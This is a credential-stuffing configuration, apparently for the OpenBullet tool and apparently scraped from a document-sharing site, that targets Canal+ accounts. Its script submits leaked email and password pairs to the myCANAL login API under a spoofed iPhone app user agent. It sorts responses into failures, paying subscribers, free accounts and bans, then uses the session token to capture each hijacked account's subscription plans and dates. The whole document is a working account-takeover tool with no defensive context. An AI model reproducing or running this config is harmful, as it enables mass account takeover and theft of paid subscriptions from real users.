Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 2

[SETTINGS]

{
"Name": "MyCanal",
"SuggestedBots": 1,
"MaxCPM": 0,
"LastModified": "2020-05-07T10:27:57.3342064-04:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "Alphalete#4827",
"Version": "1.2.1",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}

[SCRIPT]
REQUEST POST "https://pass-api-v2.canal-plus.com/services/apipublique/login"
CONTENT "vect=INTERNET&media=IOS
%20PHONE&portailId=OQaRQJQkSdM.&distributorId=C22021&analytics=false&trackingPub=fa
lse&email=<USER>&password=<PASS>"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Connection: keep-alive"
HEADER "Accept: */*"
HEADER "User-Agent: myCANAL/4.5.0 (iPhone; iOS 13.3.1; Scale/3.00)"
HEADER "Accept-Language: en-US;q=1.0"
HEADER "Content-Length: 153"
HEADER "Accept-Encoding: br;q=1.0, gzip;q=0.9, deflate;q=0.8"

KEYCHECK
KEYCHAIN Failure OR
KEY "errorCode\":7,\""
KEYCHAIN Success OR
KEY "\"isSubscriber\":true,"
KEYCHAIN Custom "FREE" OR
KEY "\"isSubscriber\":false,"
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "403"

PARSE "<SOURCE>" LR "passToken\":\"" "\",\"userData" CreateEmpty=FALSE -> VAR


"token"

REQUEST GET "https://api-client.canal-plus.com/self/persons/current/subscriptions"

HEADER "User-Agent: myCANAL/4.5.0 (iPhone; iOS 13.3.1; Scale/3.00)"


HEADER "Pragma: no-cache"
HEADER "Accept: */*"
HEADER "Cookie: s_token=<token>"

PARSE "<SOURCE>" JSON "startDate" CreateEmpty=FALSE -> CAP "StartDate"

PARSE "<SOURCE>" JSON "endDate" CreateEmpty=FALSE -> CAP "End"

PARSE "<SOURCE>" JSON "products" CreateEmpty=FALSE -> CAP "Plans"

You might also like